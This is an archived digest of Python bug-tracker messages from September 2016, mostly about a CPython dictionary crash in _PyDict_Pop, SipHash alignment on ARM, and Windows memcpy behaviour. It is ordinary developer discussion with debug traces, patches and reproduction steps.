Subject: [issue28120] SQLAlchemy's expire_instance() causes _PyDict_Pop:
 Assertion `ix >= 0' failed.
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473766570.96.0.843966030084.issue28120@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The issue is not related to Blaze. It is caused by a SQLAlchemy method. expire_instance() calls pop(name, None) on instance __dict__.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:46:20 2016
From: report at bugs.python.org (Stefan Krah)
Date: Tue, 13 Sep 2016 11:46:20 +0000
Subject: [issue28120] SQLAlchemy's expire_instance() causes _PyDict_Pop:
 Assertion `ix >= 0' failed.
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473767180.51.0.448074071997.issue28120@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Thanks, Christian!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:52:13 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 11:52:13 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473767533.81.0.135864750939.issue28055@psf.upfronthosting.co.za>


Matthias Klose added the comment:

updated patch that always used memcpy for the little endian case.

----------
Added file: http://bugs.python.org/file44628/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:52:14 2016
From: report at bugs.python.org (Chris Jerdonek)
Date: Tue, 13 Sep 2016 11:52:14 +0000
Subject: [issue16288] TextTestResult uses TestCase.__str__() which isn't
 customisable (vs id() or shortDescription())
In-Reply-To: <1350671689.29.0.0409273215418.issue16288@psf.upfronthosting.co.za>
Message-ID: <1473767534.38.0.454086301842.issue16288@psf.upfronthosting.co.za>


Chris Jerdonek added the comment:

An idea occurred to me on this recently. Instead of changing TextTestResult to call test.id() everywhere instead of str(test), what about making TextTestResult DRY by having it call a new method called something like self.getName(test)?

With this approach, customizing the test name would simply be a matter of subclassing TextTestResult and overriding TextTestResult.getName() (which unittest makes easy). This is much easier than trying to modify the test cases themselves (which unittest doesn't make easy). It's also more natural as the responsibility for formatting should lie with the test result classes rather than with the test case classes themselves (e.g. as discussed in #22431).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16288>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:52:27 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 11:52:27 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473767547.61.0.767513645987.issue28055@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


Removed file: http://bugs.python.org/file44515/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:14:22 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 12:14:22 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473768862.43.0.880415002977.issue28055@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


Added file: http://bugs.python.org/file44629/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:14:40 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 12:14:40 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473768880.45.0.0681986242561.issue28055@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


Removed file: http://bugs.python.org/file44628/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:15:41 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 12:15:41 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473768941.21.0.156315826043.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm a bit worried that the patch might slow down the general case of SipHash24. When I was working on SipHash24 I made sure that the general case in PyBytes_Object and PyUnicode_Object are fast and always aligned. Do all compilers optimize that case? For MSVC we still have a specialized Py_MEMCPY() variant in pyports.h.

I can see three more ways to fix the issue:

1) Have two loops, one for the aligned case with memcpy() and one for the unaligned case w/o memcpy()
2) Add a special variant of _le64toh() for PY_LITTLE_ENDIAN on ARM and use the current variant on X86_64.
3) Make it illegal to call _Py_HashBytes() with non-aligned pointer and require the caller to provide an aligned buffer. It's easy for datetime but requires an extra buffer memoryview. Memoryview already uses a buffer for all but single-strided C contiguous views. We can easily add another case for non-aligned buffers.

----------
stage:  -> needs patch
type:  -> crash

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:20:20 2016
From: report at bugs.python.org (Stefan Krah)
Date: Tue, 13 Sep 2016 12:20:20 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473769220.86.0.249407026204.issue28055@psf.upfronthosting.co.za>


Stefan Krah added the comment:

FWIW, MSVC optimizes memcpy:

  http://bugs.python.org/issue15993


The pgo issue has been fixed according to Steve Dower.

----------
nosy: +skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:24:30 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 12:24:30 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473769470.93.0.219651378701.issue28055@psf.upfronthosting.co.za>


Matthias Klose added the comment:

a variant of the patch that keeps the parameter types of _le64toh.

----------
Added file: http://bugs.python.org/file44630/pyhash2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:26:16 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 12:26:16 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <20160913122605.20970.88034.8757E413@psf.io>


Roundup Robot added the comment:

New changeset 9cabcb4411ac by Martin Panter in branch '2.7':
Issue #15819: Drop dead code; -IInclude already added unconditionally
https://hg.python.org/cpython/rev/9cabcb4411ac

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:27:09 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 12:27:09 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473769629.68.0.751539200133.issue28055@psf.upfronthosting.co.za>


Matthias Klose added the comment:

I can check, if the memcpy is optimized away.  As an alternative, we could use __builtin_memcpy. That is available for clang as well (would have to check icc).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:27:47 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 12:27:47 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473769667.12.0.604963989711.issue28055@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:32:23 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 12:32:23 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
Message-ID: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Py_MEMCPY() has a special case for small blocks on Windows to work around an ancient performance issue in MSVC. Can we safely assume that recent MSVC properly optimize memcpy()? See #28055

/* Py_MEMCPY can be used instead of memcpy in cases where the copied blocks
 * are often very short.  While most platforms have highly optimized code for
 * large transfers, the setup costs for memcpy are often quite high.  MEMCPY
 * solves this by doing short copies "in line".
 */

#if defined(_MSC_VER)
#define Py_MEMCPY(target, source, length) do {                          \
        size_t i_, n_ = (length);                                       \
        char *t_ = (void*) (target);                                    \
        const char *s_ = (void*) (source);                              \
        if (n_ >= 16)                                                   \
            memcpy(t_, s_, n_);                                         \
        else                                                            \
            for (i_ = 0; i_ < n_; i_++)                                 \
                t_[i_] = s_[i_];                                        \
    } while (0)
#else
#define Py_MEMCPY memcpy
#endif

----------
components: Windows
messages: 276262
nosy: christian.heimes, haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Py_MEMCPY: Use memcpy on Windows?
type: performance
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:32:54 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 12:32:54 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473769974.01.0.0394361934151.issue28055@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I created #28126 for MSVC.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Tue Sep 13 08:40:17 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 12:40:17 +0000
Subject: [issue28120] SQLAlchemy's expire_instance() causes _PyDict_Pop:
 Assertion `ix >= 0' failed.
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473770417.91.0.544158912385.issue28120@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I added debug traces to _PyDict_Pop(). It looks like the assertion failed after dictresize() converts a splitted table into a combined table. After the resize, the key '_columns_plus_names' cannot be found anymore, whereas it was found before.

The string thing about the key '_columns_plus_names' is that I cannot see it in the output of repr(dict).

The length of the dictionary is 7, but it looks like it contains 8 items... Something is wrong, no?


Note: I'm not sure that my debug traces are correct, especially the number of entries may be larger. I don't understand yet exactly the internal structure of dictionaries.


@@ delete memoized
{'_auto_correlate': True, 
 '_from_obj': OrderedSet([]), '_raw_columns': [Table('t1', MetaData(bind=None), Column('c1', Integer(), table=<t1>, primary_key=True, nullable=False), Column('c2', String(length=30), table=<t1>), schema=None)],
 '_whereclause': <sqlalchemy.sql.elements.BinaryExpression object at 0x7fffe93d1190>,
 '_having': None,
 'use_labels': False,
 '_bind': None}
_PyDict_Pop(): ix=7, resize!

before resize:
<splitted dict 0x7fffe93cda30 used=7 keys->dk_size=16 keys->dk_nentries=8 keys->dk_usable=2 || usable=10>

index[0]=-1
index[1]=4
index[2]=-1
index[3]=-1
index[4]=0
index[5]=3
index[6]=-1
index[7]=7      <----- it looks like the entry #7 is referenced, no?
index[8]=1
index[9]=2
index[10]=-1
index[11]=-1
index[12]=-1
index[13]=-1
index[14]=5
index[15]=6

entry[0]: key='_auto_correlate', hash=-4930419206435490684
entry[1]: key='_from_obj', hash=-717737569259548376
entry[2]: key='_raw_columns', hash=6382956110151689156
entry[3]: key='_whereclause', hash=-7105285138948878507
entry[4]: key='_having', hash=-8328824464742262616
entry[5]: key='use_labels', hash=8687253172181039710
entry[6]: key='_bind', hash=-5556925267210855474
entry[7]: key='_columns_plus_names', hash=-7771762227888271625
entry[8]: key='NULL', hash=0
entry[9]: key='NULL', hash=0

object  : {'_auto_correlate': True, '_from_obj': OrderedSet([]), '_raw_columns': [Table('t1', MetaData(bind=None), Column('c1', Integer(), table=<t1>, primary_key=True, nullable=False), Column('c2', String(length=30), table=<t1>), schema=None)], '_whereclause': <sqlalchemy.sql.elements.BinaryExpression object at 0x7fffe93d1190>, '_having': None, 'use_labels': False, '_bind': None}
type    : dict

***

after resize:

<combined dict 0x7fffe93cda30 used=7 keys->dk_size=32 keys->dk_nentries=7 keys->dk_usable=14 || usable=21>

index[0]=-1
index[1]=-1
index[2]=-1
index[3]=-1
index[4]=0
index[5]=-1
index[6]=-1
index[7]=-1
index[8]=1
index[9]=-1
index[10]=-1
index[11]=-1
index[12]=-1
index[13]=-1
index[14]=6
index[15]=-1
index[16]=-1
index[17]=4
index[18]=-1
index[19]=-1
index[20]=-1
index[21]=3
index[22]=-1
index[23]=-1
index[24]=-1
index[25]=2
index[26]=-1
index[27]=-1
index[28]=-1
index[29]=-1
index[30]=5
index[31]=-1   <------ no more entry #7 ???

entry[0]: key='_auto_correlate', value=True, hash=-4930419206435490684
entry[1]: key='_from_obj', value=OrderedSet([]), hash=-717737569259548376
entry[2]: key='_raw_columns', value=[Table('t1', MetaData(bind=None), Column('c1', Integer(), table=<t1>, primary_key=True, nullable=False), Column('c2', String(length=30), table=<t1>), schema=None)], hash=6382956110151689156
entry[3]: key='_whereclause', value=<sqlalchemy.sql.elements.BinaryExpression object at 0x7fffe93d1190>, hash=-7105285138948878507
entry[4]: key='_having', value=None, hash=-8328824464742262616
entry[5]: key='use_labels', value=False, hash=8687253172181039710
entry[6]: key='_bind', value=None, hash=-5556925267210855474
entry[7]: key='NULL', value='NULL', hash=0
entry[8]: key='NULL', value='NULL', hash=0
entry[9]: key='NULL', value='NULL', hash=0
entry[10]: key='NULL', value='NULL', hash=0
entry[11]: key='NULL', value='NULL', hash=0
entry[12]: key='NULL', value='NULL', hash=0
entry[13]: key='NULL', value='NULL', hash=0
entry[14]: key='NULL', value='NULL', hash=0
entry[15]: key='NULL', value='NULL', hash=0
entry[16]: key='NULL', value='NULL', hash=0
entry[17]: key='NULL', value='NULL', hash=0
entry[18]: key='NULL', value='NULL', hash=0
entry[19]: key='NULL', value='NULL', hash=0
entry[20]: key='NULL', value='NULL', hash=0

object  : {'_auto_correlate': True, '_from_obj': OrderedSet([]), '_raw_columns': [Table('t1', MetaData(bind=None), Column('c1', Integer(), table=<t1>, primary_key=True, nullable=False), Column('c2', String(length=30), table=<t1>), schema=None)], '_whereclause': <sqlalchemy.sql.elements.BinaryExpression object at 0x7fffe93d1190>, '_having': None, 'use_labels': False, '_bind': None}
type    : dict
refcount: 3


python: Objects/dictobject.c:1810: _PyDict_Pop: Assertion `ix >= 0' failed.

Program received signal SIGABRT, Aborted.
0x00007ffff711f6f5 in raise () from /lib64/libc.so.6
Missing separate debuginfos, use: dnf debuginfo-install bzip2-libs-1.0.6-20.fc24.x86_64 keyutils-libs-1.5.9-8.fc24.x86_64 krb5-libs-1.14.3-8.fc24.x86_64 libcom_err-1.42.13-4.fc24.x86_64 libselinux-2.5-9.fc24.x86_64 openssl-libs-1.0.2h-3.fc24.x86_64 pcre-8.39-3.fc24.x86_64 sqlite-libs-3.13.0-1.fc24.x86_64 xz-libs-5.2.2-2.fc24.x86_64 zlib-1.2.8-10.fc24.x86_64
(gdb) up
#1  0x00007ffff71212fa in abort () from /lib64/libc.so.6
(gdb) 
#2  0x00007ffff7117f97 in __assert_fail_base () from /lib64/libc.so.6
(gdb) 
#3  0x00007ffff7118042 in __assert_fail () from /lib64/libc.so.6
(gdb) 
#4  0x00000000004bdfd7 in _PyDict_Pop (mp=0x7fffe93cda30, key='_columns_plus_names', deflt=None) at Objects/dictobject.c:1810
1810	        assert(ix >= 0);
(gdb) p key
$1 = '_columns_plus_names'
(gdb) l
1805	        fprintf(stderr, "after resize:\n");
1806	        dict_dump_key_value_table(mp);
1807	        _PyObject_Dump((PyObject *)mp);
1808	
1809	        ix = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr, &hashpos);
1810	        assert(ix >= 0);
1811	    }
1812	
1813	    old_value = *value_addr;
1814	    assert(old_value != NULL);
(gdb) p hash
$2 = -7771762227888271625
(gdb) print value_addr
$3 = (PyObject **) 0x0
(gdb) print value_addr
$4 = (PyObject **) 0x0
(gdb) print hashpos
$5 = 23

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:12:57 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 13 Sep 2016 13:12:57 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473772377.86.0.0909538435995.issue28125@psf.upfronthosting.co.za>


Changes by Xavier de Gaye <xdegaye at gmail.com>:


----------
nosy: +xdegaye

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:15:21 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 13:15:21 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473772521.9.0.0199325444078.issue28120@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
title: SQLAlchemy's expire_instance() causes _PyDict_Pop: Assertion `ix >= 0' failed. -> Bug in _PyDict_Pop() on a splitted table

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:29:30 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 13:29:30 +0000
Subject: [issue15819] Unable to build Python out-of-tree when source tree
 is	readonly.
In-Reply-To: <1346309362.14.0.312540957077.issue15819@psf.upfronthosting.co.za>
Message-ID: <20160913132925.25907.54996.6AA19401@psf.io>


Roundup Robot added the comment:

New changeset 36550e4f9b4c by Martin Panter in branch '3.5':
Issue #15819: Remove old unconditional -IInclude option
https://hg.python.org/cpython/rev/36550e4f9b4c

New changeset a90daae58323 by Martin Panter in branch '3.6':
Issue #15819: Merge include search from 3.5 into 3.6
https://hg.python.org/cpython/rev/a90daae58323

New changeset 2ac00ff072b8 by Martin Panter in branch 'default':
Issue #15819: Merge include search from 3.6
https://hg.python.org/cpython/rev/2ac00ff072b8

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15819>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:34:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 13:34:40 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473773680.5.0.24301265813.issue28120@psf.upfronthosting.co.za>


STINNER Victor added the comment:

To reproduce the issue:

* compile Python 3.6 in debug mode
* download https://pypi.python.org/pypi/SQLAlchemy/1.1.0b3
* Then type:
---
./python -m venv venvsqla
cd venvsqla
source bin/activate
python -m pip install pytest 

tar -xf ../SQLAlchemy-1.1.0b3.tar.gz 
cd SQLAlchemy-1.1.0b3/
python setup.py install 
python -X faulthandler -m pytest test/aaa_profiling/test_compiler.py -v -s
---

I get:
---
================================================ test session starts ================================================
platform linux -- Python 3.7.0a0, pytest-3.0.2, py-1.4.31, pluggy-0.3.1 -- /home/haypo/prog/python/default/venvsqla/bin/python
cachedir: .cache
rootdir: /home/haypo/prog/python/default/venvsqla/SQLAlchemy-1.1.0b3, inifile: setup.cfg
collecting 0 itemspython: Objects/dictobject.c:1739: _PyDict_Pop: Assertion `ix >= 0' failed.
Fatal Python error: Aborted

Current thread 0x00007f6d909da700 (most recent call first):
  File "/home/haypo/prog/python/default/venvsqla/SQLAlchemy-1.1.0b3/test/../lib/sqlalchemy/util/langhelpers.py", line 796 in expire_instance
  File "/home/haypo/prog/python/default/venvsqla/SQLAlchemy-1.1.0b3/test/../lib/sqlalchemy/sql/selectable.py", line 666 in _reset_exported
  File "/home/haypo/prog/python/default/venvsqla/SQLAlchemy-1.1.0b3/test/../lib/sqlalchemy/sql/selectable.py", line 1908 in _generate
  File "/home/haypo/prog/python/default/venvsqla/SQLAlchemy-1.1.0b3/test/../lib/sqlalchemy/sql/base.py", line 44 in _generative
  File "<string>", line 2 in apply_labels
  File "/home/haypo/prog/python/default/venvsqla/SQLAlchemy-1.1.0b3/test/aaa_profiling/test_compiler.py", line 12 in <module>
  File "/home/haypo/prog/python/default/venvsqla/lib/python3.7/site-packages/_pytest/assertion/rewrite.py", line 207 in load_module
  File "<frozen importlib._bootstrap>", line 616 in _load_backward_compatible
  File "<frozen importlib._bootstrap>", line 646 in _load_unlocked
  File "<frozen importlib._bootstrap>", line 950 in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 961 in _find_and_load
  File "/home/haypo/prog/python/default/venvsqla/lib/python3.7/site-packages/py/_path/local.py", line 650 in pyimport
  File "/home/haypo/prog/python/default/venvsqla/lib/python3.7/site-packages/_pytest/python.py", line 411 in _importtestmodule
...
---

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:36:48 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 13:36:48 +0000
Subject: [issue16189] ld_so_aix not found
In-Reply-To: <1349884360.41.0.476274191409.issue16189@psf.upfronthosting.co.za>
Message-ID: <1473773808.47.0.734648984601.issue16189@psf.upfronthosting.co.za>


Martin Panter added the comment:

Closing this assuming that revision ca1ddd365f5f (committed to 3.5 and 3.6+ branches) fixed it.

----------
nosy: +martin.panter
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> AIX shared library extension modules installation broken

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16189>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:40:07 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 13:40:07 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473774007.1.0.360418114065.issue28120@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

No need, you can reproduce it by this:

>>> class C:
...     pass
... 
>>> a, b = C(), C()
>>> a.a, a.b = 1, 2
>>> b.a = 1
>>> b.__dict__.pop('b')
python: Objects/dictobject.c:1739: _PyDict_Pop: Assertion `ix >= 0' failed.
Aborted (core dumped)

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:42:27 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 13:42:27 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473774147.38.0.0157630755032.issue28120@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

I submit a patch that can solve this. Actually I find it before but forget about it....

----------
keywords: +patch
Added file: http://bugs.python.org/file44631/issue28120.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:44:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 13:44:21 +0000
Subject: [issue28120] Bug in _PyDict_Pop() on a splitted table
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473774261.86.0.260884808309.issue28120@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Good work! This example is a bit easier to understand:

class Cls:
    pass

a = Cls()
a.x = 1
a.y = 2

b = Cls()
b.x = 1
print(hasattr(b, 'y'))
print(b.__dict__.pop('y', None))


$ ./python d.py 
False
python: Objects/dictobject.c:1743: _PyDict_Pop: Assertion `ix >= 0' failed.
Aborted (core dumped)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:45:18 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 13 Sep 2016 13:45:18 +0000
Subject: [issue28126] Py_MEMCPY: Use memcpy on Windows?
In-Reply-To: <1473769943.75.0.0646288473229.issue28126@psf.upfronthosting.co.za>
Message-ID: <1473774318.82.0.0882833139392.issue28126@psf.upfronthosting.co.za>


Steve Dower added the comment:

Yes, memcpy (or preferably memcpy_s, which includes the size of the destination) are basically intrinsics that will inline short copies and call out to a range of implementations depending on alignment/overlap/etc.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28126>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:47:41 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 13 Sep 2016 13:47:41 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473774461.18.0.392835510304.issue28125@psf.upfronthosting.co.za>


Changes by Chi Hsuan Yen <yan12125 at gmail.com>:


----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:54:35 2016
From: report at bugs.python.org (Vajrasky Kok)
Date: Tue, 13 Sep 2016 13:54:35 +0000
Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD
 CURRENT Debug 3.x" buildbot
In-Reply-To: <1471959658.26.0.0626423066304.issue27838@psf.upfronthosting.co.za>
Message-ID: <1473774875.76.0.365990135593.issue27838@psf.upfronthosting.co.za>


Vajrasky Kok added the comment:

"According to my (non-expert) reading of the code, the test skips (or is supposed to skip) unless group count of uid is > 1.

The group membership of the buildbot user this worker runs as is only 'buildbot' and on that basis wouldn't a skip expected?"

The group here is not the group of buildbot user. The group here refers to all groups in the system.

I am the creator of this test. I will investigate this issue but since I am not BSD user, it may take a while.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27838>
_______________________________________

From report at bugs.python.org  Tue Sep 13 09:57:33 2016
From: report at bugs.python.org (Vajrasky Kok)
Date: Tue, 13 Sep 2016 13:57:33 +0000
Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD
 CURRENT Debug 3.x" buildbot
In-Reply-To: <1471959658.26.0.0626423066304.issue27838@psf.upfronthosting.co.za>
Message-ID: <1473775053.12.0.85515990553.issue27838@psf.upfronthosting.co.za>


Vajrasky Kok added the comment:

"The group here is not the group of buildbot user. The group here refers to all groups in the system." -> I retract back this statement.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27838>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:00:18 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 14:00:18 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <20160913140013.100183.48270.5D72499B@psf.io>


Roundup Robot added the comment:

New changeset 3c7456e28777 by Victor Stinner in branch '3.6':
Issue #28040: Cleanup find_empty_slot()
https://hg.python.org/cpython/rev/3c7456e28777

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:00:47 2016
From: report at bugs.python.org (Florent Gallaire)
Date: Tue, 13 Sep 2016 14:00:47 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1473775247.6.0.904267784883.issue24665@psf.upfronthosting.co.za>


Florent Gallaire added the comment:

CJKwrap a little lib to fix this bug:
https://github.com/fgallaire/cjkwrap

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24665>
_______________________________________

From report at bugs.python.org  Tue Sep 13 10:02:21 2016
From: report at bugs.python.org (Oren Milman)
Date: Tue, 13 Sep 2016 14:02:21 +0000
Subject: [issue27441] redundant assignments to ob_size of new ints that
 _PyLong_New returned
In-Reply-To: <1467470337.8.0.776341442151.issue27441@psf.upfronthosting.co.za>
Message-ID: <1473775341.33.0.598752709672.issue27441@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27441>
_______________________________________

